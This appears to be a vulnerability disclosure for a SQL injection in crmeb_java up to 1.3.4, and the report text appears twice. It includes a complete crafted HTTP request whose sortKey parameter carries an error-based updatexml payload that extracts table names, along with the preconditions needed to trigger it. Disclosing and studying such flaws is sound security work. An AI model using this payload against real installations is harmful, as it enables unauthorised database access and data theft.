[Suggested description]
There is a SQL Injection vulnerability in crmeb_java <=1.3.4, caused by the param sortKey which is in ${} format and isn't strictly filtered.
[Vulnerability details]
Make sure the user has at least two promoters.
Send the crafted request package to the api interface /api/front/spread/people
GET /api/front/spread/people?sortKey=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1) HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
content-type: application/json
Authori-zation: dbdd777e27b94979adf06fc3fd20ee68
Origin: http://localhost:8082
Connection: close
Referer: http://localhost:8082/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
[Impact Code execution]
true
[Cause of vulnerability]
The interface /spread/people call the function getSpreadPeopleList
Make sure the user has secondary promoter, the it will call the function getSpreadPeopleList.
There is a trick that the order by statement is only executed if there are at least two promoters.
The param sortKey is ${} format and it will be joined to the sql string directly.
That's all, thanks.
[Suggested description] There is a SQL Injection vulnerability in crmeb_java <=1.3.4, caused by the param
sortKey
which is in${}
format and isn't strictly filtered.[Vulnerability Type] SQLi
[Vendor of Product] https://github.com/crmeb/crmeb_java
[Affected Product Code Base] <=1.3.4
[Affected Component] /api/front/spread/people
[Attack Type] Remote
[Vulnerability details] Make sure the user has at least two promoters. Send the crafted request package to the api interface
/api/front/spread/people
[Impact Code execution] true [Cause of vulnerability] The interface
/spread/people
call the functiongetSpreadPeopleList
Make sure the user has secondary promoter, the it will call the functiongetSpreadPeopleList
. There is a trick that theorder by
statement is only executed if there are at least two promoters. The paramsortKey
is${}
format and it will be joined to the sql string directly. That's all, thanks.